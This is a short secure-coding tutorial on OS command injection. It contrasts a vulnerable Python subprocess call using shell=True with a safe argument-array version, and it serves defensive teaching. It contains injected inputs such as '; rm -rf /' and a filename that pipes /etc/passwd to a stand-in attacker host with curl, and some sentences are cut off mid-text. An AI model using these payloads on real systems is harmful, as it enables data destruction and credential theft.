When user input takes over your entire Linux server.
Command injection is a vulnerability where an application executes arbitrary Operating System (OS) commands provided by a user. It happens when an application passes unsafe user-supplied data (like forms, cookies, or HTTP headers) directly into a system shell using functions like system(), exec(), or os.system().
This is arguably worse than SQL Injection, because gaining a shell on the server allows the attacker to pivot deeper into your infrastructure.
If you must execute a system command, NEVER use a function that spawns a full shell (sh -c). Instead, execute the binary directly and pass the user input strictly as an argument array, preventing shell metacharacters (like &&, ;, |) from being evaluated.
import subprocess
# VULNERABLE: Spawns a shell. A user can input "8.8.8.8 ; rm -rf /"
def ping_server(ip_address):
# shell=True is the root of all evil
subprocess.run(f"ping -c 1 {ip_address}", shell=True)
# SECURE: Direct execution via arg array.
def ping_server(ip_address):
# shell=False (default). The OS treats the entire string as one argument.
# The "rm -rf" will literally be passed to 'ping', which will just fail.
subprocess.run(["ping", "-c", "1", ip_address])
shell_exec()) or Node.js (child_process.exec()) implicitly spawn a shell. You must switch to non-shell alternatives (e.g., Node's child_process.spawn()).%0a) to chain commands.sleep 10 and timing the response.An image processing app takes a user's uploaded filename and runs imagemagick convert <filename> image.png. A malicious user uploads a file named a; cat /etc/passwd | curl -X POST -d @- http://hacker.com/steal. The server processes the image, and then silently executes the second command, uploading its password file to the hacker.
Why is executing commands as an argument array ['ping', ip] safe, while executing a concatenated string ping + ip via a shell dangerous?